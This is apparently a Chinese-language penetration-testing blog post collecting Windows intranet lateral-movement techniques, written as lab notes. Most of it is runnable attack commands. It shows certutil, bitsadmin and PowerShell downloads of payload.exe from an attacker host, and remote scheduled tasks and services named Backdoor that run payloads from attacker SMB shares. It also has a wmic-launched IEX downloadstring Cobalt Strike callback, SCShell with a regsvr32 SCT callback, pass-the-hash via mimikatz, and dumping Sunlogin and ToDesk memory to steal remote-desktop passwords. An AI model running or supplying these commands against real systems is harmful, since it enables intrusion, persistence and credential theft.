内网横向移动姿势合集
横向移动姿势浅析
横向移动中的文件传输
横向移动之前,需要对攻击载荷和文件等的传输制定方案(当然,你使用c2的话当我没说)
通过网络共享
可以实现局域网之间的网络共享,通过提供有效的用户凭据,用户可以实现两台主机之间的文件传输
获取windows默认开启的网络共享:
net share
C$为C盘共享,ADMIN$为系统目录共享,IPC$共享需要提供可信任的用户名和口令来建立安全的传输通道
实战通常选择IPC连接,该方法除了文件共享还能实现创建计划任务或系统服务等,而建立IPC连接的前提是:
- 远程主机开启了IPC连接
- 远程主机139或445端口开放
建立IPC连接:
net use \\192.168.111.131\IPC$ "Admin123456" /user:"yuy0ung\administrator"
列出远程主机C盘共享文件:
dir \\192.168.111.131\C$
使用copy可以在两台主机之间相互复制文件,这里我向目标主机上传远控exe:
copy artifact.exe \\192.168.111.131\C$
建立其他共享连接命令类似如C$连接:
net use \\192.168.111.131\C$ "Admin123456" /user:"yuy0ung\Administrator"
搭建SMB服务器
可以尝试在公网vps或受控内网主机上搭建SMB服务器,将需要传输的文件放入SMB服务器的共享目录并指定UNC路径,让横向移动的主机能够远程加载共享文件,有两点需要注意:
- 要使用SMB匿名共享
- 该SMB服务器能够被目标主机访问
在linux系统上可以通过impacket项目中的smbserver.py搭建SMB服务器
搭建一个名为yuy0ungsmb,共享目录指向/root/share
的SMB匿名共享:
mkdir /root/share
python smbserver.py yuy0ungsmb /root/share -smb2support
# 或者
impacket-smbserver evilsmb /root/share -smb2support
从 SMB server 下载文件
copy \\192.168.111.128\yuy0ungsmb\file.exe file.exe
上传文件到 SMB server
net use x: \\192.168.111.128\yuy0ungsmb
copy file.txt x:
net use x: /delete
使用 windows自带工具
Certutil
certutil用于管理windows证书并作为证书服务的一部分安装,其提供了从网络中下载文件的功能:
certutil -urlcache -split -f http://192.168.111.1/payload.exe C:\shell.exe
不知道为什么我这里会报错显示拒绝访问
BITSAdmin
win7以后版本系统自带
创建一个名为test的任务,下载payload.exe到本地,并将其保存到C:\shell.exe:
bitsadmin /transfer test http://192.168.111.1/payload.exe C:\shell.exe
powershell
powershell也可以实现文件下载:
Invoke-WebRequest -Uri http://192.168.111.1/payload.exe -OutFile C:\shell.exe
命令很多,自己选择即可,这里也只列出了几条
创建计划任务
常规利用流程
在拥有对方管理员凭据的条件下,可以通过已有的IPC连接,在远程主机创建计划任务,实现横向移动,流程如下
-
利用已建立的共享连接上传远控exe
-
利用IPC连接创建计划任务运行远控exe:
schtasks /Create /S 192.168.111.131 /TN Backdoor /SC minute /MO 1 /TR C:\shell.exe /RU System /F /U yuy0ung\administrator /P Admin123456 # /s,指定要连接到的系统 # /TN,指定要创建的计划任务名称 # /SC,指定计划任务频率 # /MO,制定计划任务执行周期 # /TR,指定计划任务运行的程序路径 # /RU,指定计划任务运行的用户权限 # /F,如果指定的任务存在则强制创建
检查是否添加成功:
schtasks /Query /S 192.168.111.131 /U yuy0ung\administrator /P Admin123456 | findstr "Backdoor"
-
立即启动计划任务:
schtasks /RUN /S 192.168.111.131 /I /TN Backdoor /U yuy0ung\administrator /P Admin123456
开启监听即可连接远控:
-
删除计划任务:
schtasks /Delete /S 192.168.111.131 /TN Backdoor /F /U yuy0ung\administrator /P Admin123456
UNC路径加载执行
windows系统中使用UNC路径来访问网络共享资源,格式如下:
\\servername\share\directory\filename
其中,servername是服务器主机名,sharename是网络共享的名称,directory和filename分别为该共享下的目录共和文件
使用UNC路径代替常规的本地路径,让远程主机直接在vps上搭建的smb共享中加载攻击载荷并执行,可以省去手动上传的步骤,例如这里建立连接后给远程主机添加定时任务加载远控exe(psexec、wmic、dcom同理):
-
起一个smbserver:
-
在远程主机创建计划任务,使用UNC路径加载smb共享的exe并执行:
schtasks /Create /S 192.168.111.137 /TN Backdoor /SC minute /MO 1 /TR \\192.168.205.151\evilsmb\payload.exe /RU System /F /U yuy0ung\administrator /P Admin123456
smb加载文件:
msf监听上线:
利用系统服务
创建远程服务
通过创建系统服务,在远程主机上运行指定的程序或命令,需要拥有两端主机的管理员权限和IPC连接,步骤如下:
-
利用已建立的共享连接向远程主机上传恶意文件
-
利用建立的IPC连接在远程主机上创建系统服务:
sc \\192.168.111.137 create Backdoor binpath= "cmd.exe /k C:\payload.exe"
可以查看一下:
-
启动服务:
sc \\192.168.111.137 start Backdoor
会提示错误但依然成功上线:
-
攻击结束后删除服务:
sc \\192.168.111.137 delete Backdoor
SCShell
一款无文件横向移动工具:Mr-Un1k0d3r/SCShell: Fileless lateral movement tool that relies on ChangeServiceConfigA to run command
使用时需要提供远程主机管理员的用户凭据,并且需要已知远程主机上的系统服务名称
这里以通过regsvr32执行外部SCT文件的方式上线远程主机:
-
msf启动一个web delivery,生成用于regsvr32执行的payload:
-
通过SCShell在远程主机上执行生成的payload:
SCShell.exe 192.168.111.137 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32 /s /n /u /i:http://192.168.205.151:8080/j489QXQfibPzj3E.sct scrobj.dll" yuy0ung.com administrator Admin123456
成功上线msf:
SharoNoPSExec的利用思路与此相似,也可以看看
UAC Remote Restrictions
UAC(用户账户控制)使计算机用户能够以非管理员身份执行日常任务。当用户以本地用户远程运行需要管理员用户的程序,都只能使用本地用户中RID为500(Adminitrator)的管理员用户来运行
如果测试人员进行需要管理员权限的远程管理操作(schtask、psexec、wmi、winRM、PTH......),除了域管理员用户,其他任何用户包括非RID500的管理员用户都会提示“拒绝访问”
需要注意的是该限制对域管用户无效,只限制本地用户
重启系统关闭UAC(或许能成,但是写入的服务没有双引号指定路径)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
远程桌面利用
即RDP,默认TCP 3389端口
可以通过获取凭据,RDP连接进行横向移动,缺点是可能将已登陆的用户强制退出,容易被管理员发现
远程桌面的确定开启
查询注册表确定主机是否开启了远程桌面:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
若字段值为0x0说明RDP服务已启动;若为0x1,则说明RDP服务禁用
cmd命令开启远程桌面:
#开启服务
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
#关闭“仅允许运行使用网络级别身份验证的远程桌面计算机连接”(鉴权)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
#设置防火墙策略放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
对远程主机,可使用WMI来开启远程桌面服务(要指定远程主机的IP、主机名和用户凭据):
wmic /Node:192.168.111.137 /User:yuy0ung\administrator /Password:Admin123456 RDTOGGLE WHERE ServerName="client01" call SetAllowTSConnections 1
RDP Hijacking
对于开启远程桌面的windows主机,当多个用户进行登录时,会产生多个会话。若获取了system权限,则可以劫持其他用户的RDP会话,并在未授权的情况下成功登入目标系统(即使该用户的会话已断开),即远程桌面劫持
RDP Hijacking需要获取system权限并执行tson命令
该命令可以切换会话,system权限下可不输入密码切换会话,造成劫持:
-
rdp登录用户apache:
-
获取system权限:
-
查看用户会话记录:
query user
发现administrator和apache用户的会话
-
尝试切换为administrator:
tscon 1
-
这里按道理来说rdp应该会切换到administrator,但这里显示access is denied,不知道原因,我都已经system权限了。。。。
SharpRDP
通过远程桌面协议在远程主机上执行系统命令且无需GUI
优点:在远控内网主机时无需做代理,将工具上传至跳板机即可实现对内网主机的命令执行
PsExec远程控制
psexec是微软官方提供的远控工具,使用不需要对方主机开方3389端口,
只需要对方开启admin$共享和ipc$ (该共享默认开启,依赖于445端口)。但是,假如目标主机开启了防火墙(防火墙禁止445端口连接),psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,有微软的签名,所以杀软将其列在白名单中
PsExec - Sysinternals | Microsoft Learn
使用条件
-
具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)
-
能建立IPC链接(也就是需要通过smb认证的),且目标机器开启了共享(默认开启的),并且目标共享中必须有admin$共享
使用
常用参数:
psexec \\ip -u administrator -p admin cmd # 进⼊半交互式shell
PsExec -accepteula \\ip -s cmd.exe # 建立交互的shell
psexec \\ip - uadministrator -p admin -w c:\cmd # 进⼊交互式shell,且c:\是⽬标机器的⼯作⽬录
psexec \\ip -u administrator -p admin whoami all # 执行命令
psexec \\ip -u administrator -p admin -d c:\beacon.exe # 执行文件
psexec \\ip -u administrator -p admin -h -d c:\beacon.exe UAC # 的⽤⼾权限执行文件
场景中的使用:
-
建立IPC连接
-
启动psexec:
PsExec.exe -accepteula \\192.168.111.132 -u yuy0ung\administrator -p Admin123456 -i cmd.exe # 返回交互shell(远程到桌面,我CS和msf不行) psexec64.exe -accepteula \\192.168.111.137 -s ipconfig # 远程执行命令
impacket套件中的psexec.py也可以实现,具体可以参考我的另一篇文章impacket使用总结
WMI的利用
WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议,自从 PsExec 在内网中被严格监控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是黑客们渐渐开始使用 WMI 进行横向移动。通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用 WMI 进行攻击
常规利用方法
可以通过wmic.exe和powershell cmdlet来使用WMI数据和执行WMI方法
执行远程查询
查询远程主机的进程信息:
wmic /node:192.168.111.137 /user:yuy0ung\administrator /password:Admin123456 process list brief
创建远程进程
调用Win32_process.Create方法在远程主机上创建进程,启动cmd执行命令,wmic执行命令时没有回显,需要将执行结果写入文件,通过建立共享连接等方式使用type命令远程读取:
wmic /node:192.168.111.137 /user:yuy0ung\administrator /password:Admin123456 process call create "cmd.exe /c ipconfig > C:\result.txt"
上线CS
-
生成powershell脚本:
-
wmic进行上线,把ps1放到公网vps,可以使用python开启http服务提供下载
wmic /NODE:192.168.111.137 /user:yuy0ung\administrator /password:Admin123456 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.205.150:8000/payload.ps1'))\""
成功上线CS
常见利用工具
wmiexec
来自impacket套件,一个既有全交互也有半交互的远程命令执行工具,通过wmi在远程主机上执行命令,该工具需要开启135和445端口,445端口用于传输命令执行的回显
impacket-wmiexec yuy0ung/administrator:Admin123456@192.168.111.137
因为kali出了点小问题,我将py脚本打包成exe在windows上运行:
pip install pyinstaller -i https://mirrors.aliyun.com/pypi/simple
然后运行:
wmiexec.exe yuy0ung/administrator:Admin123456@192.168.111.137
Invoke-WmiCommand
该项目源于powerspolit,可以通过powershell远程调用wmi来执行命令,不具体记录了
WMI事件订阅的利用
远程部署WMI事件订阅需要在远程系统上具有管理员权限,WMI事件订阅用到的两个组件event,consumer
-
Event Filter:
WQL事件查询,用于将事件筛选为特定条件集。WQL查询可能类似于
Select * From __InstanceCreationEvent Within 5 Where TargetInstance Isa “Win32_Process” AND TargetInstance.Name = "winlog.exe"
类似于查询某个进程的创建或某个命令的执行,当查询到对应进程创建时,就会调用consumer
-
事件消费者(Event Consumer):这是事件触发时我们想要进行的特定操作,使用事件消费类的
ActiveScriptEventConsumer
和CommandLineEventConsumer
,其中,ActiveScriptEventConsumer
允许执行脚本代码(来自JScript或VBScript引擎),而CommandLineEventConsumer
类则允许运行任意命令,更推荐ActiveScriptEventConsumer
类,这样可以避免触及LOLBin的雷区
筛选器与消费者总是绑定在一起的,当筛选器轮询到对应进程启动时,将会调用消费者执行任意命令,或是执行脚本文件等
不难看出该方法更适用于权限持久化,但是,我们同样可以进行无文件的横向移动
Sharp_WMIEvent
项目地址:https://github.com/wh0amitz/Sharp-WMIEvent
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -Computername 192.168.30.10 -Domain hack.com -Username yuy0ung\administrator -Password Admin123456 -Command "cmd.exe /c \\192.168.111.173\smb\Sharp-WMIEvent.exe"
#Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>
在目标服务器上创建一个永久性的WMI订阅事件,每60秒执行一次
DCOM的利用
DCOM介绍
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求,使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件
使用DCOM横向移动
获取DCOM列表
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -class Win32_DCOMApplication | select appid,name
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
DCOM横向移动前提
- 需要关闭系统防火墙
- 必须拥有管理员权限
- 在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户
利用
利用DCOM中的一些组件可以实现远程执行命令
MMC20.Application
首先本地实验一下命令执行:
-
通过PowerShell与DCOM进行远程交互,提供一个DCOM ProgID和一个IP地址,即可远程返回一个COM对象的实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
-
调用"ExecuteShellCommand"方法在远程主机上启动进程
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
成功执行命令
远程上线同理,但需要自身管理员账户RID为500,否则会被UAC
此外还有shellwindows和shellbrowserwindows组件能够实现远程命令执行,读者可以自行了解
dcomexec的使用
impacket套件的dcomexec.py也可以实现远程命令执行(同样需要管理员账户RID为500):
dcomexec.exe [domain/]username:password@ip //创建一个交互式shell
dcomexec.exe [domain/]username:password@ip command // 执行命令
dcomexec.exe [domain/]username:@ip -hashes [hash] //hash传递
详细使用也可见我impacket的文章impacket的使用
WinRM的利用
WinRM(Windows远程管理)是Microsoft 在Windows中对WS-Management的实现,它使系统可以跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具,WinRM可以与可能具有基板管理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于Windows的计算机(包括WinRM),WinRM默认端口5985(HTTP端口)或5986(HTTPS端口),若配置了WINRM远程服务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作
winrs.exe
Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户
winrs -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {GetCulture}
1、执行
winrs -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {GetCulture}
如果出现
Winrs error:WinRM 客户端无法处理该请求。 可以在下列条件下将默认身份验证与 IP 地址结合使用:
传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。 使用 winrm.cmd 配置
TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置
TrustedHosts 的详细信息,请运行以下命令
输入winrm set winrm/config/Client @{TrustedHosts="*"}
即可
哈希传递攻击
PTH即哈希传递(Pass The Hash)攻击,该方法通过找到与账户相关的密码散列值(通常是 NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(进而获得密码明文)。 在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在 WindowsServer 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制
希传递攻击原理
当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密处理(通常使用MD5算法)散列加密算法般为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加密处理,再与数据 库中存储的散列值进行对比,如果完全相同则表示验证成功。 主流的Windows操作系统,通常会使用 NTLM Hash对访问资源的用户进行身份验证。早期版本的 Windows操作系统,则使用 LMHash对用户密码进行验证。但是,当密码大于等于14位 时,就无法使用 LM Hash了。从 Windows vista和 Windowsserver2008版本开始, Windows操作系统默认禁用 LMHash,因为在使用 NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API(例如Lsalogon User)转换成散列值。不过,攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。
哈希传递条件
哈希传递攻击的前提:有管理员的 NTLM Hash ,并且目标机器开放445端口
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击
Windows Vista 之后的机器,只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
在工作组环境中: Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。 Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中: 只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
利用
mimikatz
mimikatz内置了PTH功能,需要本地管理员权限
-
用本地管理员账户抓取到了域管理员密码的htlm hash
ae4c0d5fb959fda8f4cb1d14a8376af4
,使用如下命令进行哈希传递:mimikatz.exe "privilege::debug" "sekurlsa::pth /user:yuy0ung\administrator /domain:yuy0ung.com /ntlm:ae4c0d5fb959fda8f4cb1d14a8376af4
impacket
套件中很多脚本都可以实现PTH,例如psexec.py、smbexec.py、wmiexec.py
使用时可借助内网代理等技术进行攻击
详细使用见我的另一篇文章impacket远程连接总结
永恒之蓝
ms17-010,靶场常客,不做赘述
利用远控软件接管桌面
这也是利用远控软件代替RDP的一种思路
这里记录两种常见的软件的利用:向日葵和todesk
目标主机安装了这类远控软件且为登陆状态,那么可以尝试直接dump软件的进程,然后获取dump文件中存储的连接码和连接密码
向日葵
目标主机有向日葵的情况
-
首先获取进程PID
tasklist | find /I "SunloginClient.exe"
-
这里选择非service的进程的PID,然后使用procdump来dump这个进程:
procdump.exe -accepteula -ma 5384
这样就得到了一个.dmp文件
-
将该.dmp文件下载,可以使用010去分析这个文件,这里我直接使用0xShe师傅的提取工具一键提取了:
确实和软件显示的数据一样:
ToDesk
接下来是目标主机有向日葵的情况:
-
依然是先获取PID:
tasklist | find /I "ToDesk.exe"
找到非service的PID
-
还是一样的dump下来:
procdump64.exe -accepteula -ma 23964
-
下载提取后的.dmp文件,然后使用0xShe师傅的提取工具一键提取即可,唯一不同的是这里定位数据需要配合当前日期:
和目标主机上的数据一样:
获取到设备代码和连接密码后,即可直接远控桌面